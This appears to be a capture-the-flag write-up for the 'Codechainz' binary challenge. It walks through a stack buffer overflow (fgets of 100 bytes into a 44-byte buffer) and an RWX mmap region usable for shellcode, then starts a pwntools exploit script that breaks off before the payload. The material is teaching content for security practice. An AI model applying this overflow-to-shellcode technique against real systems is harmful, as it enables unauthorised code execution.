Tags: shellcode nx mmap

Rating:

# Codechainz

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled


-----


Hey, this is an epic memory saver. #saved
Because of COVID-19 restrictions,
we can only do memory saving of programming languages.
We apologize for the inconvenience.

Preparing the memory space...
Memory space is ready for storing data.
DISCLAIMER: All your memories will be saved at 0x7efcd9390000.

Here are your options. Choose one:
1 Make a new memory
2 View a memory
3 Delete a memory
4 Exit
>


The first thing we can notice is that we have a leak of the stack address\
=> We can jump in that location if we have a BOF\
=> But the NX is enabled, so we can't execute a shellcode in the stack

So, decompile it in Ghidra:

=> We can notice there is a function named init_memory, at address PIE BASE + 0x000011e5, that essentially mmap the memory_space to RWX.

c
void init_memory(void)

{
int *piVar1;

memory_space = mmap((void *)0x0,0x1e,7,0x22,-1,0);
if (memory_space == (void *)0xffffffffffffffff) {
perror("mmap");
fflush(stdout);
piVar1 = __errno_location();
/* WARNING: Subroutine does not return */
exit(*piVar1);
}
return;
}


=> NX mitigation is useless at this point\
=> We have only to find a buffer overflow to overwrite the return address and jump into a shellcode

When we add a new memory the function input_str is called:


void input_str(void)

{
char vulnerable_buffer [44];
int i;

memset(vulnerable_buffer,0,0x1e);
puts("Please input a programming language of your desire. I swear i will remember it.");
printf("> ");
fflush(stdout);
fgets(vulnerable_buffer,100,stdin);
for (i = 0; i < 0x1e; i = i + 1) {
memory_space[i] = vulnerable_buffer[i];
}
fflush(stdin);
return;
}


This function fgets 100 bytes into a buffer of 44 bytes\
=> We have a BOF\
=> We can use the leak given by the program to gain a shell.

python
from pwn import *

exe = ELF("codechainz")

context.binary = exe
context.terminal = ["gnome-terminal", "-e"]

def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r)
else:
r = remote("51.124.222.205", 13370)

return r

def main():
r = conn()

r.recvuntil("saved at")